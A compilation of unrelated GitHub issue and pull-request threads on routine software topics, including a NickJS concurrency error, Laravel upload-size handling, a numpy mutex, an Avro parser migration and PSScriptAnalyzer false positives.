I just noticed I got lots of the same errors like following.

You have triggered an unhandledRejection, you may have forgotten to catch a Promise rejection:
Error: cannot do this while another tab method is already running, each tab can execute only one action at a time
at Tab._callToTabDriver (/var/vhost/api-nodejs-listing/node_modules/nickjs/lib/es8/Tab.js:50:10)
at Tab.close (/var/vhost/api-nodejs-listing/node_modules/nickjs/lib/es8/Tab.js:82:15)
at then.catch (/var/vhost/api-nodejs-listing/rest.js:114:8)
at

Do I have to handle it myself?
Or can I just ignore it?
Best regards,

Hi,
You can handle it yourself. But this particular exception, "cannot do this while another tab method is already running", should never happen. It means you're not waiting for an action done with a tab to finish. NickJS does not work that way, you have to execute actions sequentially per tab.

@paps i actually have the same issue.  it doesnt happen all the time so i just let it crash and retry.
and for example if i have an issue and i want to debug i would want to be able to see what is happening. so typically if i set a breakpoint in a program i can run commands to inquire, with Nick i would want to take a screenshot.
const tab = await nick.newTab();
await tab.open(dcfProviderViewUrl);
await tab.waitUntilVisible(referenceTypeSelector);
so in this case if i break in the last await, meaning it was not executed yet and i type into the console tab.screenshot() the error above shows up. even though i awaited for the open command and i know nothing else is running because its "paused".

Huh, that's weird. Can you console.log() tab.actionInProgress? This is the internal boolean that is set to true when an action begins and re-set to false when the action is done


Update README.md

Description
Updated README by adding :

How to run the Repute Launcher & Exchange steps in a different way + adding Generate API KEY step.
Included Technology used.

Hey this looks great, i will merge it first and then sarthak's and resolve the conflicts on that step.


Fixes #11401: Fixed yii\web\DbSession concurrency issues when writing and regenerating IDs

Q
A

Is bugfix?
yes

New feature?
no

Breaks BC?
no

Tests pass?
yes

Fixed issues
#11401

HHVM seems to be unhappy :(

To pass the tests we have to exclude HHVMs with ancient SQLite drivers to work around WITH errors. You can take a look at my upsert tests to get inspired. :)


Improve two windings transformers documentation.

Improve two windings transformers documentation.
Add ratio tap changers documentation.
Add phase tap changer modification.

@mathbagu I did the modification asked


Traceback (most recent call last):   File "steam_auto_cracker.py", line 390, in    File "steam_auto_cracker.py", line 115, in FindGameDirectory FileNotFoundError: [WinError 3] System cannot find specified path: '1174180/'

Traceback (most recent call last):
File "steam_auto_cracker.py", line 390, in
File "steam_auto_cracker.py", line 115, in FindGameDirectory
FileNotFoundError: [WinError 3] System cannot find specified path: '1174180/'

Sorry for the late answer
Please check #13 and #6 or even #22
This is a pretty common configuration issue I believe. Feel free to send another message if you don't manage to fix the problem.
You can delete your options and re-set them by deleting the config.ini file.


[fix] some apk file can not decode(general purpose bit issue)

Sorry - 600 files changed here. Just not possible to review this. Thanks for taking a stab, but I cannot accept this.


Uploads that exceed post_max_size causing misleading exceptions

Laravel Version: 5.3 although pretty sure it affects all versions
PHP Version: 5.6 | 7.0

Description:
Issue #8202 does a great job of describing the problem that is taking place, there is one additional snag that makes this a bit more complicated though. The heart of the problem lies in the fact that

If the file I was attempted to upload was greater than my post_max_size - PHP clears the super globals of $_POST and $_FILE - but still sends the server the POST request (which is now empty).

The current VerifyPostSize middleware fixes this problem when the type of request is a POST. However, when attempting to use Laravel's form method spoofing, the _method key gets wiped out as well causing the framework to throw a MethodNotAllowedHTTPException.
For example, assume the following:
// web.php
Route::post('file', 'FileController@create');
Route::patch('file/{file}', 'FileController@update');

For the first route, a file that is too large will hit the RouteCollection and resolve the correct Route to use, it then goes through the middleware stack until it hits the VerifyPostSize middleware and throws the PostTooLargeException.
 This causes the RouteCollection@match to fail when trying to find a matching Route to use, eventually throwing the MethodNotAllowedHTTPException from Line 205.
Steps To Reproduce:
Try to upload a file that is larger than your max_post_size to a route that matches a PATCH or PUT verb. This will throw a MethodNotAllowedHTTPException instead of the preferred PostTooLargeException.
Proposed Solution
Although it seems annoying to run this on every request, I don't know any other way to catch it than to put it at the top of RouteCollection@match (link). We would essentially relocate the VerifyPostMiddleware code and place it at the top of the RouteCollection match method.
This would also eliminate the need for the middleware as it would apply to each request that came through.
Looking for feedback on if this is a viable solution. @taylorotwell @TheShiftExchange.
Would be happy to do the PR as well.

It's been a while since I dug into this problem. I'm trying to remember it all now.
So are you proposing that we include;
if ($_SERVER['CONTENT_LENGTH'] > ini_get('post_max_size')) {
   Throw new PostTooLargeException;
}

At the top of RouteCollection@match?
Maybe somewhere even higher in the stack on every call?
@taylorotwell - basically anytime ($_SERVER['CONTENT_LENGTH'] > ini_get('post_max_size')) is true - then the entire body of the request is invalid - so really the only valid option to do is gracefully abort. @JacobBennett is correct that in this scenario, you'll be sent down the wrong request route in this scenario.

We could really put it anywhere in the stack I suppose as long as it is before the process that does the route matching.

Not tested, but what about adding the VerifyPostSize middleware to your $middleware array in app/Http/Kernel.php?
    /**
     * The application's global HTTP middleware stack.
     *
     * These middleware are run during every request to your application.
     *
     * @var array
     */
    protected $middleware = [
        \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
        \Illuminate\Foundation\Http\Middleware\VerifyPostSize::class,
    ];

Illuminate/Foundation/Http/Kernel::sendRequestThroughRouter() shows:
        return (new Pipeline($this->app))
                    ->send($request)
                    ->through($this->app->shouldSkipMiddleware() ? [] : $this->middleware)
                    ->then($this->dispatchToRouter());

It looks to me like the "global" middleware defined in your Kernel is processed before the request is handed off to the router.

@JacobBennett - I believe this is fixed in 5.4
In your App\Http\Kernel your middleware should be defined as the following (which is now standard in new 5.4 apps):
protected $middleware = [
    ...
    \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
    ...
];

This runs before the router - and will correctly catch and identify this situation.

👍


fix: Device.toJSON() properties

Resolves a bug where Device.toJSON() would always return null for all isDesktop() style boolean properties as well as for hardwareType.
In the process I also refactored the test file to simplify the error handler hoping to do this as I touch each file going forward.

The penaltybox tests seem to have been flakey on the latest XQD for some reason, but this has been an ongoing thing with those tests that seems to vary from time to time.


Add Initial Study Setup and VascTrac Use Case

Add Initial Study Setup and VascTrac Use Case
:gear: Release Notes

Adds a basic setup of what we define as a simple study
Shows a list of studies users can enroll in
Shows a list of scheduled tasks for the study
Study Enrollment including an invitation code, HealthKit access, and Notifications
Definition of loading and storing study enrollment

:pencil: Code of Conduct & Contributing Guidelines
By submitting creating this pull request, you agree to follow our Code of Conduct and Contributing Guidelines:

[x] I agree to follow the Code of Conduct and Contributing Guidelines.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

:exclamation: No coverage uploaded for pull request base (main@54f08fd). Click here to learn what that means.

:exclamation: Current head d1cf663 differs from pull request most recent head 04a4afd. Consider uploading reports for the commit 04a4afd to get more accurate results

Additional details and impacted files

@@           Coverage Diff           @@
##             main       #3   +/-   ##
=======================================
  Coverage        ?   22.95%
=======================================
  Files           ?       45
  Lines           ?     1303
  Branches        ?        0
=======================================
  Hits            ?      299
  Misses          ?     1004
  Partials        ?        0

Continue to review full report in Codecov by Sentry.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 54f08fd...04a4afd. Read the comment docs.


AVRO-3403: Create and use ANTLR to parse IDL files

What is the purpose of the change
Implement AVRO-3403: Migrate JavaCC to ANTLR
The implementation uses a shared ANTLR grammar, without actions or
predicates. This guarantees ANTLR can create usable parsers in any
language it supports. To implement IDL support for other languages, the
Java code to port is the class IdlReader.
The IDL reader using the ANTLR generated parser replaces the JavaCC
parser in the maven plugin and in the tools. The JavaCC parser has been
deprecated, but not removed.
Verifying this change
This change is huge, but consists roughly of these types of changes:

A shared grammar; please verify if ANTLR generates valid code for your favourite language (I tested Java & Python)
A parser in the IDLReader class in a new Java avro-idl module
A lot of tests and some utilities copied from avro-compiler
Using the new IDLReader class instead of the (now deprecated) IDL class

Note that reviews become a lot easier by reviewing per commit.
Documentation

Does this pull request introduce a new feature? (yes / ~no~)
If yes, how is the feature documented? (~not applicable~ / docs / JavaDocs / ~not documented~)

Added a change to the grammar (sorry for the way in which I did...) such that it the generated code can also work on Python.

Hi! Our tool BreakBot found that this pull request introduces 3 breaking changes and they appear to impact 5 of your clients. You can find the full BreakBot report in our fork repository: report for PR#1588.
We hope this information is valuable to you, and apologize otherwise. If you're willing to help, we would kindly ask for your help to fill in a 5-minutes survey about the report. Your feedback will help us improve the tool and provide a better experience for users in the future!

The BreakBot report marks the @Deprecated annotations as breaking changes.
Set aside that these are not actually breaking changes, they were added on purpose to signal a migration is needed for future compatibility.

You are right. We include the impact of @Deprecated elements as it may give a better idea of which clients will be faced with a deprecated API. Thanks for your input @opwvhk!

I didn't spend too much time (the change list is huge!) but I didn't notice anything bad.

Ah, yes... the tricky part about replacing the IDL parser is that that's unavoidable.
Thank you for taking the time though!
The subsequent PR's (#1589 & #1954) are significantly smaller 😅

Why not put "Idl.g4" file in src/main/resources of Idl module ?
Because this is a shared location, which allows the grammar to be reused for e g. a Python implementation.

The reason to migrate to ANTLR is partly because it is supported, but also because it supports multiple languages.

After resolving the conflicts, I'd like to merge this one and move on to PR #1589 (making the IDL syntax a full .avsc equivalent). As there's 2 approvals other than mine, are there any objections to merge?


Use a mutex to lock heap memory access

This adds an allocator_lock field to the StringDTypeObject struct. This is a PyThread_type_lock mutex that must be acquired before manipulating the allocator.
I defined NPY_STRING_ACQUIRE_ALLOCATOR (as well as variants that accept 2 and 3 descriptors) and NPY_STRING_RELEASE_ALLOCATOR macros that handle locking and unlocking the mutex.
There's nothing in the API that prevents someone from touching the allocator field before acquiring the allocator_lock. Maybe it would be nicer to wrap a type around the allocator or a more idiomatic way to write this in C?
Most of this PR is then applying these macros where appropriate, including in error handling cases. There are a few places where I didn't exit from error cases and other similar bugs are fixed as well.
I wasn't sure what to do in stringdtype_dealloc. Can we assume because of the GIL that a dtype is deallocated by only one thread?
I haven't benchmarked the singlethreaded performance hit or added threaded tests but am planning to add that before merging.
I based this implementation off of this tutorial.

This is also shows that if we put a mutex on a dtype that seems to not be a big deal in the single-threaded case. For ufuncs and casts we can acquire and release the mutex outside the core loop so it scales nicely too. I wonder if we could fix a ton of threading bugs in numpy by explicitly acquiring a per-dtype mutex before releasing the GIL in numpy.

Can we assume because of the GIL that a dtype is deallocated by only one thread?

My understanding of the current version of PEP 703 is that yes, we can assume that.

I just added a test for multithreaded access and mutation and things seem to be working correctly. I also fixed two unrelated bugs I encountered while writing that test and fixed how I release the mutex - I need to account for cases when the input descriptors are identical objects and not release or acquire the mutex more than once in those cases.

Performance impact for single-threaded use seems minimal. Here's a test on main with numpy and stringdtype compiled in release mode:
In [3]: arr = np.array(["hello", "world"], dtype=StringDType())

In [4]: %timeit np.add(arr, arr)
1.65 µs ± 33.8 ns per loop (mean ± std. dev. of 7 runs, 1,000,000 loops each)

And with this PR:
In [4]: arr = np.array(["hello", "world"], dtype=StringDType())

In [5]: %timeit np.add(arr, arr)
1.78 µs ± 20.2 ns per loop (mean ± std. dev. of 7 runs, 1,000,000 loops each)

This kind of tiny array is the worst case for a ufunc too, since we acquire and release the mutex outside the inner loop.

kind of tiny array is the worst case for a ufunc

not quite true, there are some cases where NumPy will opt to call the inner loop with few items, but many times. where= is the worst, the other is reductions.
But... whatever, only alternative would be to use the auxdata to lock for the whole operation.  And that might not even work easily since we may be using casts at the same time.


Remove excess newlines

RFC @henrik — This addresses the original issues #35 sought to fix while fixing the issue you reported in #48.
Closes #48.

Once this is given the :+1: I'll release it along with #50 as v0.10

Sorry @Rakoth I should have cc'd you in the original PR.

@doomspork This is make sense :+1:

Looks great! Once it's released I'll try it in my project.

Tried in my project and it worked fine.
I bumped the version to 0.9.2 but I don't have rights to publish. If you're OK giving that to me, the command is:
mix hex.owner add slim_fast<EMAIL_ADDRESS>

Oh, I missed the comment about releasing a v0.10. Sorry about that. The closed tag thing does warrant a minor version bump (though semver says anything goes before 1.0).

Thanks @henrik!  Both you and @Rakoth have been added to Hex.  Feel free to publish away.
@Rakoth I used the email address in your GH profile, let me know if you'd like me to change it to something else.
Thanks again :+1:

Published!
On Sat, Nov 7, 2015 at 4:30 PM, Sean<EMAIL_ADDRESS>wrote:

Thanks @henrik https://github.com/henrik! Both you and @Rakoth
https://github.com/Rakoth have been added to Hex. Feel free to publish
away.
@Rakoth https://github.com/Rakoth I used the email address in your GH
profile, let me know if you'd like me to change it to something else.
Thanks again [image: :+1:]
—
Reply to this email directly or view it on GitHub
https://github.com/doomspork/slim_fast/pull/53#issuecomment-154716351.

:boom: :+1:


Missing documentation for .Net Core 7.0 release canidates support

This page does not contain any information on the support of an .Net Standard library for the new .Net 7.0 release canidates. It would be nice if this can be added.
Thanks in advance!

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 9eb8b774-c6f0-8235-6964-15219baf2ea7
Version Independent ID: 6819a4a7-7527-d8c7-e132-767f7344e00e
Content: .NET Standard
Content Source: docs/standard/net-standard.md
Product: dotnet
Technology: dotnet-standard
GitHub Login: @gewarren
Microsoft Alias: gewarren

We'll get this updated. .NET 7 supports .NET Standard 2.1 and earlier versions.

This info has been added.


Calculating forward KL divergence (probability density maximization), I get negative loss results on my dataset, is this reasonable?

Hi @IceColdwind,
This question was already asked and answered in this issue.
Best regards,
Vincent


False positives from PSAvoidUsingInternalURLs

I have a module to manage the DigitalOcean cloud service. All calls to DigitalOcean are made via REST endpoints using fully qualified URLs.  No internal URLs are being used.  Yet when I run PSScriptAnalyzer against my module, it generates 15 false positives that shouldn't exist.
The false positives all come from the string '/$1'.  That is a single quoted string that I use as the second parameter when using -replace with other strings, to ensure that those strings are properly prefixed with /.  This generates the relative URIs that I need that then internally are used to generate the absolute URIs that are needed to make the REST API call.  Here's an example:
        $internalId = $Id -replace '^([^/])','/$1' -as $Id.GetType()

There is nothing in that command that should cause this warning to appear.
I'm not exactly sure where the error is here, but this is definitely a bug.  I don't think PSAvoidUsingInternalURLs should even be looking at a replacement string in a regex -replace call.  But that may not be the core issue here.
You can install my DigitalOcean module by invoking Install-Module DoPx and then run Invoke-ScriptAnalyzer against it to see these false positives.  Note: it takes about two minutes to process this module, even though it is small, so please be patient while analyzing it and store the results in a variable so that you don't have to do it again.

I see the same false warning flagged for format strings passed to String.Format; Here's a simple repro:
$msg = [System.String]::Format("1:{0}", "test")

This is still throwing issues for file paths like C:\Windows\System32\WindowsPowerShell
Perhaps it should do an initial check to see if it is a Filepath before testing if it is a URL?

The whole implementation of this rule is just WRONG.
First of all, there's nothing inherently wrong with "internal" URLS unless the script is being published to a public script gallery.
Second, most strings are not URLs. You shouldn't be tripping on regexes and file paths.
Third, relative paths are ok when they're really paths to files that are part of the module or inherently part of windows.
It's pretty clear that the current implementation of this just looks for ANY STRING with a colon or a slash in it and freaks out.
MOST IMPORTANTLY: Rules like this should never have made it into the defaults of a public official release, it's a sign of terrible release planning, and poor quality control.

Thanks for the feedback. Investigating to see how we can make this rule less noisy

Deprecating the rule - considering the noise and lack of usefulness
https://github.com/PowerShell/PSScriptAnalyzer/pull/389


Enhancements to tenant logging

Currently, each log statement generated by a tenant in a multi-tenant instance of ACA-Py is prefixed with the tenant's wallet_id - see here and here.
For Traction, however, we would like to use the tenant_id rather than the wallet_id to identify a tenant: this is because of the desire to move towards not exposing a tenant's root credentials for managed wallets.
We need a custom log handler class that will allow to use tenant_id as log statement identifier.

Is this for traction or aca-py?  It sounds like the issue is with log messages that are logged by aca-py, but does aca-py know the tennant_id?

Is this for traction or aca-py? It sounds like the issue is with log messages that are logged by aca-py, but does aca-py know the tennant_id?

This is for Traction, ACA-Py has no knowledge of the tenant_id as it is used internally by the innkeeper plugin.

I’m wondering if this needs to be in the logs.  I assume we’ll need a splitter for the logs and that could handle the walletId to tenant_id correspondence.  The walletId could be removed from the logs as part of the splitting.

It would be easier to have ACA-Py log the tenant id rather than having to maintain a service with the mapping to reconcile the logs - if I understand correctly what you mean. If the tenant id is already in the logs, we only need a filter to remove any non-relevant information.
My idea would be to make it possible for a service to serve the "sanitized" logs to each tenant (similar to what OpenShift does with pods) rather than have the operations team fish them out, sanitize them and send them back to each tenant who requested it.

Could the logging in ACA-Py be extended to allow a plugin, like traction's innkeeper plugin, to specify (inject) the identifier it wants to use for a tenant's logs rather than hard coding the wallet id as the identifier?  Wallet id could be used as the default if nothing else is supplied.

Could the logging in ACA-Py be extended to allow a plugin, like traction's innkeeper plugin, to specify (inject) the identifier it wants to use for a tenant's logs rather than hard coding the wallet id as the identifier? Wallet id could be used as the default if nothing else is supplied.

That's what we need to figure out. If the innkeeper plugin can inject its own log handler implementation then we should be good. I guess this issue needs some investigation to understand what is/isn't possible before choosing a direction.

I’m certainly not suggesting we need any manual intervention.

I misread the comment then, I thought you meant we keep "status-quo" for logs to be served by the ops team when requested.

Resolved by: #1065


Section for Date/Time values

Would a section for Date/Time values be a productive idea? To my knowledge, systems don't parse raw DateTime strings unless you explicitly say if it's a DateTime parser, and DateTime parsers don't take in raw DateTime strings, opting instead to use some sort of Date/Time selector widget on the client and doing the calculation on server.

Invalid dates like 2015-02-30 are also common source for hickups.

February 29th, 1900 is still a valid date in Excel but does not really exist.

:+1:
Additional dates to consider: end of unix time, very distant future (e.g. 42424242-01-01), leap seconds, and basically everything else in the Time formatting and storage bugs wikipedia entry.

Closing since accidentally made a dupe (https://github.com/minimaxir/big-list-of-naughty-strings/issues/117) which is cooler.


Added 3 new parameters LimitAccess, Source and Verbose

@Malind19 - thanks for catch, I confirmed these are in the 'add' cmdlet but weren't in here. Merging. Much appreciated!

Closes #273


Error with NODE_ENV=production

If you use your package within a node environment that sets the environment variable to 'production'.
You get the following error:
[SyntaxError]: [1:17]: Invalid keyword     at a (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:112106)     at ee (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:144651)     at rt (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:178509)     at he (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:152021)     at /Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:148558     at _e (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:148613)     at Module.Dt (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:202224)     at Object.t.getArgumentNames (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:14722)     at e.parseMethodArguments (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:85595)     at e.parseJsonCreator (/Users/Marijn/Documents/Programming/bgg-test/node_modules/jackson-js/dist/lib.node.js:16:81156) {   index: 17,   line: 1,   column: 17,   description: '[1:17]: Invalid keyword',   loc: { line: 1, column: 17 } }
You can reproduce this by running a simple node script:
index.js
const { BggClient } = require('boardgamegeekclient');

const bggClient = BggClient.Create();

async function main() {
        const response = await bggClient.collection.query({ username: 'mattiabanned' });
        console.log(response);
}

main();

export NODE_ENV=production
node index.js

you also need to install tslib as a dependency

Hi,
thank you for pointing out all these issues. I think that my latest merge solves all of them.
Unfortunately seems that TSDX pollute the output build with TSLIB references, thats why we were forced to install it.
try <IP_ADDRESS> version
Let me know.


Add article link to the README

Hi @nohli. Thanks for giving the chance to add my article to the README as a reference.
Please, look at the changes I've made. I did my best, but, let me know if we can improve the sentence.

Cool, great job! Thank you for your contribution.
Here are a few suggestions to improve the code and documentation:

Using haptic feedback instead of haptic feedbacks is more accurate. As well in this PR, as in the article. What do you think?

In the article, await is missing before a few method calls.

Consider changing the check from:

    if (_canVibrate ==true) {

to
    if (_canVibrate ?? false) {

To prevent instantiation of the class and avoid suggestions from the code editor, add a private constructor:

HapticsHelper._();

Thanks again for your work on this. These changes can enhance the accuracy and robustness of the code.

@nohli thanks, I'll update the article with the suggestions of yours and let you know.

Thanks for updating.
Have you looked at points 1-3 from my previous comment?

Thanks for updating.
Have you looked at points 1-3 from my previous comment?

Yes. The first one is done, I even changed the title of the article. About the 3rd point, if you think it is very crucial I can update it right now.

Regarding the article:
1.	I still notice numerous instances of “haptic feedbacks.”
2.	Additionally, there are still missing awaits before method calls.
3.	I was referring to the no_literal_bool_comparisons rule: https://dart.dev/tools/linter-rules/no_literal_bool_comparisons.

In my opinion, an article explaining code should be precise.

Regarding the article:

I still notice numerous instances of haptic feedbacks.
Additionally, there are still missing awaits before method calls.
was referring to the no_literal_bool_comparisons linter rule: https://dart.dev/tools/linter-rules/no_literal_bool_comparisons (Effective Dart: https://dart.dev/effective-dart/usage#dont-use-true-or-false-in-equality-operations)

In my opinion, an article explaining code should be precise.

Updated the (https://fluttercraftedbetter.com/posts/using-haptic-feedback-to-make-your-flutter-app-more-interactive/)[article] again. Is there anything missing again?

Regarding the article:

I still notice numerous instances of haptic feedbacks.

Additionally, there are still missing awaits before method calls.

was referring to the no_literal_bool_comparisons linter rule: https://dart.dev/tools/linter-rules/no_literal_bool_comparisons (Effective Dart: https://dart.dev/effective-dart/usage#dont-use-true-or-false-in-equality-operations)

In my opinion, an article explaining code should be precise.

Updated the article again. Is there anything missing again?

Great, thanks for updating! 🙏🏽
I will merge asap.
There is still one instance of "haptic feedbacks", would be good to change it to "haptic feedback".
Explanation: The term “haptic feedback” is typically used in the singular form, much like the words “information” or “data.” All these terms are collective nouns, meaning they refer to a concept that inherently includes multiple instances.

My pleasure.
Although, I think it should be "a set of haptic feedbacks" you and ChatGPT are in majority. So, changed that too.

Regarding the article:

I still notice numerous instances of haptic feedbacks.

Additionally, there are still missing awaits before method calls.

was referring to the no_literal_bool_comparisons linter rule: dart.dev/tools/linter-rules/no_literal_bool_comparisons (Effective Dart: dart.dev/effective-dart/usage#dont-use-true-or-false-in-equality-operations)

In my opinion, an article explaining code should be precise.

Updated the article again. Is there anything missing again?

Great, thanks for updating! 🙏🏽
I will merge asap.
There is still one instance of "haptic feedbacks", would be good to change it to "haptic feedback".
Explanation: The term “haptic feedback” is typically used in the singular form, much like the words “information” or “data.” All these terms are collective nouns, meaning they refer to a concept that inherently includes multiple instances.

My pleasure.
Although, I think it should be "a set of haptic feedbacks" you and ChatGPT are in majority. So, changed that too.

hahaha
Actually the first thing was I googled the plural version and didn't find results, only singular.

@nohli my pleasure to be featured on the README with my new Flutter blog. Thanks for the opportunity and, especially, your time.

I hope you have fun and success with your blog! 🤝🏽


Consider removing the need for an HttpClient in Kiota.Builder

Hi all!
I took a quick stab at trying to run Kiota on a generic, server-side WASM runtime (I.e. wasmer and wasmtime) this will be useful as a "generic" integration mechanism (e.g. something like: https://extism.org/ ).
Unfortunately, seems like that HttpClient is only available in a WASM Javascript Runtime (the runtime is looking up for GetGlobalObjectRef in a JavaScript.dll).
Thinking twice about it, I believe that the core of this repository can be separated into two separate phases(and eventually compilation units), one to fetch all the needed resources, and another to run the business logic on the available local files.
This could possibly enable easier integration on different platforms, wdyt?

The main reason why the API surface accepts an httpclient it to make sure kiota doesn't have to instantiate (and dispose) it when used as a servicer/long running application and avoid potential issues like port exhaustion etc.
We need it a couple of places:

when downloading online descriptions before generation.
for the search, which makes use of kiota clients, relying themselves on http client.
when authenticating with GitHub to access api description in private repositories.
in the blazor application as the client is injected by the blazor wasm app (for reasons similar to what you're experiencing I suspect).

I don't think splitting the project into multiple dependencies and adding a level of indirection is in our plans for the time being, and I'd like to understand the issue a bit better.
What specifically prevents you from passing an HttpClient? the dotnet to wasm compiler you're using should recognize that client needs to be "replaced" by a fetch implementation.

the dotnet to wasm compiler you're using should recognize that client needs to be "replaced" by a fetch implementation.

That's actually the issue, the Http Client is replaced by fetch but this is not available on WASM runtimes other than Node (AFAIK), and I end up with runtime exceptions.

I'm still unclear on how the compiler can replace httpclient by fetch at some places and not at others creating a misalignment? Would you mind expanding?

I was looking at the code generation functionality only, where I expect no Http calls are actually needed (e.g. a spec can be provided directly on the File System).
I will look into this better, but it's a low priority. Thanks a lot for the context @baywet !


Price/Volume tab

Right now, putting fake data into the CROWDSAR field.  (attn @MorganPeterson)  Need to actually hook this into the appropriate CROWDSAR index.

[ ] Add real CROWDSAR data

This looks good.
Some minor things, probably not the biggest concerns right now, but:

[ ] Can we change the location of the "Post Volume" and "Price" windows to make consistent w/ original Penny app?
[ ] Overlapping x-axis labels on by-user charts
[ ] CSS on post view (should go all the way to the bottom, subtle background color on charts to visually distinguish them from each other, individual posts should not scroll -- maybe you should be able to click on them to see the whole thing?)

There is a ton of issues right now and a lot of what you see will change. I
will keep these points in mind.
On Mon, Jun 6, 2016 at 2:04 PM, Ben Johnson<EMAIL_ADDRESS>wrote:

This looks good.
Some minor things, probably not the biggest concerns right now, but:

Can we change the location of the "Post Volume" and "Price" windows
to make consistent w/ original Penny app?
Overlapping x-axis labels on by-user charts
CSS on post view (should go all the way to the bottom, subtle
background color on charts to visually distinguish them from each other,
individual posts should not scroll -- maybe you should be able to click on
them to see the whole thing?)

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gophronesis/penny-sae/issues/53#issuecomment-224039005,
or mute the thread
https://github.com/notifications/unsubscribe/ALO_cjwKAKWVUsDQVOx3wgMpzqxOjR6yks5qJGE6gaJpZM4IkrSr
.

--
Morgan Peterson
Phronesis

I changed the view this morning. I changed the price chart from canlestick
to close due to the candlesticks being too small to read. Plus, I moved the
price from the right side to the left side.
On Mon, Jun 6, 2016 at 2:06 PM, Morgan Peterson<EMAIL_ADDRESS>wrote:

There is a ton of issues right now and a lot of what you see will change.
I will keep these points in mind.
On Mon, Jun 6, 2016 at 2:04 PM, Ben Johnson<EMAIL_ADDRESS>wrote:

This looks good.
Some minor things, probably not the biggest concerns right now, but:

Can we change the location of the "Post Volume" and "Price" windows
to make consistent w/ original Penny app?
Overlapping x-axis labels on by-user charts
CSS on post view (should go all the way to the bottom, subtle
background color on charts to visually distinguish them from each other,
individual posts should not scroll -- maybe you should be able to click on
them to see the whole thing?)

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gophronesis/penny-sae/issues/53#issuecomment-224039005,
or mute the thread
https://github.com/notifications/unsubscribe/ALO_cjwKAKWVUsDQVOx3wgMpzqxOjR6yks5qJGE6gaJpZM4IkrSr
.

--
Morgan Peterson
Phronesis

--
Morgan Peterson
Phronesis

Price and trade volume should be together, as they're naturally paired.  I
don't mind getting rid of candlestick too much.  Can make charts bigger if
necessary / possible.
On Mon, Jun 6, 2016 at 2:16 PM, Morgan Peterson<EMAIL_ADDRESS>wrote:

I changed the view this morning. I changed the price chart from canlestick
to close due to the candlesticks being too small to read. Plus, I moved the
price from the right side to the left side.
On Mon, Jun 6, 2016 at 2:06 PM, Morgan Peterson<EMAIL_ADDRESS>wrote:

There is a ton of issues right now and a lot of what you see will change.
I will keep these points in mind.
On Mon, Jun 6, 2016 at 2:04 PM, Ben Johnson<EMAIL_ADDRESS>wrote:

This looks good.
Some minor things, probably not the biggest concerns right now, but:

Can we change the location of the "Post Volume" and "Price" windows
to make consistent w/ original Penny app?
Overlapping x-axis labels on by-user charts
CSS on post view (should go all the way to the bottom, subtle
background color on charts to visually distinguish them from each other,
individual posts should not scroll -- maybe you should be able to click
on
them to see the whole thing?)

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<
https://github.com/gophronesis/penny-sae/issues/53#issuecomment-224039005
,
or mute the thread
<
https://github.com/notifications/unsubscribe/ALO_cjwKAKWVUsDQVOx3wgMpzqxOjR6yks5qJGE6gaJpZM4IkrSr

.

--
Morgan Peterson
Phronesis

--
Morgan Peterson
Phronesis
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/gophronesis/penny-sae/issues/53#issuecomment-224042266,
or mute the thread
https://github.com/notifications/unsubscribe/AFzgfc05W5gV9YZvcXC7_Gf4Q_VUEWz4ks5qJGPtgaJpZM4IkrSr
.

I merged and pushed this to dev.
This work is finished, but there are still some small issues that will need to be addressed. I am going to close this issue and open separate issues for them.


Setup user guide skeleton

Fixes #32
Adapted the user guide for Source Control use.

Deleted all features
Changed intro, Quick Start, Features section

Also added import feature

Codecov Report

Merging #33 (e1910f6) into master (b5d4026) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #33   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b5d4026...e1910f6. Read the comment docs.


Rename input file arguments -pedigree, -genotypes, -seqfile, -bfile

Rename

[ ] -pedigree to -ped_file
[ ] -genotypes to -geno_file
[ ] -seqfile to -seq_file
[ ] -bfile to -plink_file

@gregorgorjanc, We have finished these changes. Could you please close this issue because I seem to have no permission to organise issues opened by others. Similar issues may be #106 #104 #102 #103 #107 #108 #110 #111.

Closed as completed.


[metaloadfn] trait objects without an explicit dyn are deprecated

  |
9 |         fn metaloadfn(mut loadfn: &mut FnMut(&str) -> *const __gl_imports::raw::c_void,
  |                                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ help: use `dyn`: `dyn FnMut(&str) -> *const __gl_imports::raw::c_void`

compiled with forbid(rust_2018_idioms)

So when using a trait, they actually don't have a known size at compile time, so you use the dyn keyword allows Rust to say "okay okay, I'll trust you on this one," in which FnMut most likely is or implements a trait.

FnMut is a trait. It doesn't implement a trait.
Also, the real answer to this is that "forbid the 2018 idioms" is not a useful thing to do. This crate will likely never move past 2015 edition.


[CWS] introduction to eBPF less support

What does this PR do?
This PR is the first part of a set of PR that aims to provide the support for other source of data than eBPF for CWS.
A new probe is introduce that listen event from a GRPC socket, these events are then processed as usual by the rule engine.

Motivation

Additional Notes

Possible Drawbacks / Trade-offs

